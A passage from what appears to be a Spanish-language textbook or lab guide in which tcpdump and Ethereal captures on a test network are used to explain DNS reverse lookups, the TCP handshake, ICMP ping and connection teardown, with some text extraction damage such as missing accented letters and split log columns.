20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.379486 192.168.100.1.32773 > 192.168.100.3.www: P 1:430(429) ack 1 win 32767 (DF)
20:44:19.384103 192.168.100.3.www > 192.168.100.1.32773: . ack 430 win 16001
20:44:19.442926 192.168.100.3.www > 192.168.100.1.32773: . 1:513(512) ack 430 win 16430
20:44:19.442951 192.168.100.1.32773 > 192.168.100.3.www: . ack 513 win 33768 (DF)
20:44:19.443284 192.168.100.3.www > 192.168.100.1.32773: . 513:1025(512) ack 430 win 16430
20:44:19.443291 192.168.100.1.32773 > 192.168.100.3.www: . ack 1025 win 33768 (DF)
20:44:19.443374 192.168.100.3.www > 192.168.100.1.32773: . 1025:1059(34) ack 430 win 16430
20:44:19.443379 192.168.100.1.32773 > 192.168.100.3.www: . ack 1059 win 33768 (DF)
20:44:19.443688 192.168.100.3.www > 192.168.100.1.32773: F 1059:1059(0) ack 430 win 16430
20:44:19.443803 192.168.100.1.32773 > 192.168.100.3.www: F 430:430(0) ack 1060 win 33768 (DF)
20:44:19.443835 192.168.100.3.www > 192.168.100.1.32773: . ack 431 win 16430
20:44:22.165224
uoc.32774
>
uoc.16001:
S
446820472:446820472(0)
win
32767
<mss
16396,sackOK,timestamp 297307 0,nop,wscale 0> (DF)
20:44:22.165243 uoc.16001 > uoc.32774: R 0:0(0) ack 446820473 win 0 (DF)
48 packets received by filter
Las anteriores lneas no muestran trafico ARP, es decir no se puede capturar trafico ARP debido a que la
interface de red dummy0 no tiene el flag ARP activado por que esta no tiene MAC.
En concreto la interface no tiene MAC Address, el protocolo ARP dado un IP responde con la MAC address de
la interface de red y esta no lo tiene pues es virtual.
Si revisa el archivo /proc/net/arp no contiene Mac Address pues en esta maquina no hay tarjetas fsicas
activadas.
Observe la interface:
dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link
UP BROADCAST RUNNING NOARP MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:3 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:210 (210.0 b)
Las lneas:
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:438126803(0) win 32767
<mss 16396,sackOK,timestamp 297028 0,nop,wscale 0> (DF)
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:1300529704(0) ack
438126804 win 16430 <mss 1460> (DF)
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767 (DF)
602
Muestran el inicio de sesin dado los paquetes Sync, Sync+Ack, Ack entre el cliente 192.168.100.1 y el
servidor 192.168.100.3.
Las lneas:
20:44:19.378803
20:44:19.378814
20:44:19.378844
20:44:19.378849
20:44:19.378902
20:44:19.378906
20:44:19.378921
20:44:19.378925
(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)
Muestran trfico de tipo DNS donde se reporta que el registro inverso no se encuentra en el dns.
Esto se debe a que el servicio DNS no esta activado en este servidor de pruebas.
El resto de lneas muestran el intercambio de informacin entre el servidor y el cliente as como la
finalizando la sesin.
Para los amantes del modo grfico (y para casos en que es til un anlisis ms en detalle) el paquete
Ethereal nos ser de suma utilidad.
Revise el sitio http://www.ethereal.com/docs/
Vamos a capturar la misma secuencia de conexin al servidor web ficticio. Para ello, ejecutaremos Ethereal,
y una vez lo hayamos puesto a funcionar, ejecutaremos la conexin a http://192.168.100.3/.
Ejecute el comando en la consola grafica CTRL-ALT-F7:
ethereal &
Para ponerlo a funcionar ir al men Capture, Start Capture. Capture datos por todas las interfaces (any)
Resultado 3.2: Simultneamente Inicie un ping a la direccin 192.168.100.2
direccin 192.168.100.3.
y la conexin web a la
Capture la secuencia de trfico y analice el establecimiento y la secuencia de la conexin http, por ejemplo
veamos:
22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767
<mss 16396,sackOK,timestamp 912089 0,nop,wscale 0> (DF) [tos 0x10]
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack
2386902886 win 16430 <mss 1460> (DF)
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]
22:26:50.641214 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:50.641461 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:51.641205 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:51.641303 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:52.641208 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:52.641324 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:53.641207 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:53.641315 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:54.641204 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:54.641299 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:55.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:55.641290 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:55.854772 192.168.100.1.32782 > 192.168.100.3.www: P 1:17(16) ack 1 win 32767 (DF) [tos 0x10]
22:26:55.854815 192.168.100.3.www > 192.168.100.1.32782: . ack 17 win 16414
603
22:26:56.564418
22:26:56.564479
22:26:56.567622
22:26:56.567636
22:26:56.567664
22:26:56.567669
22:26:56.567693
22:26:56.567698
22:26:56.632032
22:26:56.641218
22:26:56.671194
22:26:56.682492
22:26:56.682629
0x10]
22:26:56.682659
22:26:57.641210
22:26:57.641298
22:26:58.641206
22:26:58.641275
192.168.100.1.32782 > 192.168.100.3.www: P 17:19(2) ack 1 win 32767 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . ack 19 win 16428
192.168.100.3.www > 192.168.100.1.32782: . 1:513(512) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 513 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . 513:1025(512) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 1025 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . 1025:1059(34) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 1059 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: F 1059:1059(0) ack 19 win 16430
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.1.32782 > 192.168.100.3.www: . ack 1060 win 33768 (DF) [tos 0x10]
192.168.100.2 > 192.168.100.1: icmp: echo reply
192.168.100.1.32782 > 192.168.100.3.www: F 19:19(0) ack 1060 win 33768 (DF) [tos
192.168.100.3.www > 192.168.100.1.32782: . ack 20 win 16430
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.2 > 192.168.100.1: icmp: echo reply
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.2 > 192.168.100.1: icmp: echo reply
192.168.100.1
192.168.100.2
192.168.100.1
192.168.100.2
192.168.100.1
192.168.100.2
>
>
>
>
>
>
192.168.100.2:
192.168.100.1:
192.168.100.2:
192.168.100.1:
192.168.100.2:
192.168.100.1:
icmp:
icmp:
icmp:
icmp:
icmp:
icmp:
echo
echo
echo
echo
echo
echo
request (DF)
reply
request (DF)
reply
request (DF)
reply
Este parrafo de trfico nos muestra el ping request y el ping reply entre el cliente 192.168.100.1 y el
servidor 192.168.100.2
Anlisis del trfico:
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767
<mss 16396,sackOK,timestamp 912089 0,nop,wscale 0> (DF) [tos 0x10]
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack
2386902886 win 16430 <mss 1460> (DF)
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]
El registro 22:26:49.981941 nos muestra el cliente192.168.100.1 puerto 32782 enviando un Sync al
servidor 192.168.100.3 puerto 80, el sync se representa por la letra 'S' mayscula
El registro 22:26:49.982318 muestra los paquetes Sync + Ack enviados por el servidor 192.168.100.3
puerto 80 hacia el cliente 192.168.100.1 puerto 32782, el synck se representa por la letra 'S' y el ACK por
las letras 'ack'
Ahora en el registro 22:26:49.982332 el cliente 192.168.100.1 puerto 32782 enva el paquete ACK al
servidor 192.168.100.3 puerto 80 y con esto se completa la secuencia de conexin para el servicio web
(http) que presta el servidor al cliente.
El resto del trfico muestra un ping entre el cliente y el servidor as como el envo de la pgina web desde el
servidor hasta el cliente, adems se ve el fin de la conexin cliente servidor con la letra 'F'.
En el momento de iniciar la captura, separe mediante filtrado (opcion filter dentro del men capture) el
trafico ICMP, guarde el resultado de la captura HTTP en un archivo y recuprelo mas tarde para anlisis.
Se puede analizar este archivo de logs de la misma forma que lo hara con la captura en vivo?
Separe el trafico ICMP en el archivo tcpdump.icmp y el trafico http en el archivo tcpdump.http luego los
recupera por la opcin File, Open, Nombre del archivo.
Y se debe poder analizar de la misma forma.
Para probarlo tome un registro, luego la opcin TCP y luego Flags, siempre deber observar la misma
informacin.
604
11.0
Bibliografia
Carlos Santiago lvarez Cabrera, artculo Honeypots Aspectos penales, Colombia, Diciembre de 2005,
http://cyberlaws.blogspot.com
605